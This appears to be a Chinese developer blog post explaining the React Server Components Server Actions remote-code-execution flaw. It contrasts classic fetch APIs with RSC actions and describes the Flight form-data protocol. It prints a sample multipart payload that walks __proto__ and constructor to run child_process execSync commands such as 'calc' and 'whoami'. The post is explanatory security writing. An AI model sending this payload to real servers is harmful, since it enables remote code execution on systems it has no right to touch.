这个漏洞与React Server Components (RSC)组件的Server Actions特性相关,作为整个事件的主角,我们应该了解其设计以及目的,再去探索它如何被利用的。
Server Actions是用于客户端通过特定条件触发服务端特定任务执行,因此我们不去讨论服务端到客户端的响应(其实也就是流式响应Flight Data的作为客户端UI渲染的蓝图)。
开发流程对比
RSC的设计是服务于开发者的,因此从代码上分析会更加直观,我不说结论避免先入为主,读者可以先自行分析。
传统客户端->服务端交互流程
后端代码:
// server.js (Express/Node)
const express = require('express');
const app = express();
// 1. Create a public URL listening for requests
app.post('/api/save-user', async (req, res) => {
const { username } = req.body;
// 2. Talk to Database
await db.users.update({ name: username });
// 3. Send manual response back
res.json({ message: "Saved!" });
});
前端代码:
// Profile.jsx
import { useState } from 'react';
export default function Profile() {
const [name, setName] = useState("");
async function handleSave() {
// 1. Manually build the network request
await fetch('/api/save-user', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ username: name })
});
alert("Saved!");
}
return (
<div>
<input onChange={(e) => setName(e.target.value)} />
<button onClick={handleSave}>Save</button>
</div>
);
}
RSC客户端->服务端交互流程
后端代码:
// actions.js
'use server'; // <--- This magic line marks it as a Server Action
export async function saveUser(formData) {
const username = formData.get('name');
// Direct Database access right here
await db.users.update({ name: username });
console.log("Updated on server!");
}
前端代码:
// Profile.jsx
import { saveUser } from './actions'; // Import server code into client file!?
export default function Profile() {
// No fetch. No JSON.stringify. No headers.
return (
<form action={saveUser}>
<input name="name" type="text" />
<button type="submit">Save</button>
</form>
);
}
看完上述代码实例,你会发现SCR的方式并没有显式的创建真实的接口,这也被称作“Zero API”。为什么它可以做到“Zero API”?从源码上可以看出它直接引用了后端的源码,这得益于近些年前端全栈方案使得前后端源码在一个项目中,比如“NextJS”框架,正所谓天下大势合久必分,分久必合,因此这个前端调用后端的Actions是可以做到的。但是涉及到浏览器-服务器的架构,API必定是存在的,毫无疑问框架替开发者创建了这些API,代码就是不断抽象不断封装,当你尝试潜入代码中,如同身处重庆,你也不知道自己在几楼。
关于框架所生成的API,它开创性的使用了flight协议,flight是一个应用层协议,可以看组http协议上在数据格式上做了定制化。框架对于客户端传给服务器的flight请求支持实现,成就了这个漏洞。结合实例,让我们深入了解一下这个交互过程,以及RSC如何处理前端数据的。
基于Flight协议客户端到服务端请求
Flight是基于HTTP的form-data格式的请求,因此我们可以构造出如下请求payload:
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
["$1:a:b"]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
{"a":{"b":"foo"}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
这个payload服务器按照如下逻辑处理:
"$1:a:b" -> {"a":{"b":"foo"}}.a.b -> "foo"
从这个逻辑这个可以被设计成其他形式,比如:
------WebKitFormBoundary...
Content-Disposition: form-data; name="0"
["$1:__proto__:constructor:constructor:return process.mainModule.require('child_process').execSync('calc')"]
------WebKitFormBoundary...
Content-Disposition: form-data; name="1"
{"command": "whoami", "args": []}
由于出于学习目的,关于这些我就不再多做解释。
结语
其实仔细想想deno相比node另立山头还是有些能站得住脚的实际案例支持的,整个node生态以及npm是不是太过于信赖开发者了,对于npm中的package包含恶意代码,npm包用当作云盘滥用其实也屡见不鲜了,加上RSC的设计上的灵活与创新,可以看得出来自由在背后已经标明了价码,创新并不是一帆风顺,看看最近明星rust的设计,就会觉得不奇怪了,如果我不参与代码细节开发,我肯定希望关系到我的代码是安全的。react作为一个知名的国外前端工具,meta公司做背书,从出现问题的最早版本19.0.0正式版发布到cve揭露已经过去快一年时间,如此大的体量、以及如此长的时间,作为开源才被揭露这些RCE(远程调用执行)这种致命问题,可以看得出大家对于公开审查这个事情看得太乐观了,所以也能理解有些公司的技术评审以及倾向老的版本,我也不再是埋头猛冲,涉及到数据的事情也变得“瞻前顾后”。再说说最近我最近都在用svelte框架,有时候我总觉得我会偶然间被星运女神眷顾,其实作为开发者,受限于生物所接受的带宽,代码开发的依赖除了了解过接口、设计,整个具体实现无异于一个黑盒,能够安全运行下去又何尝不是一个幸运。
参考内容:

Comments (0)
No comments yet. Be the first to share your thoughts!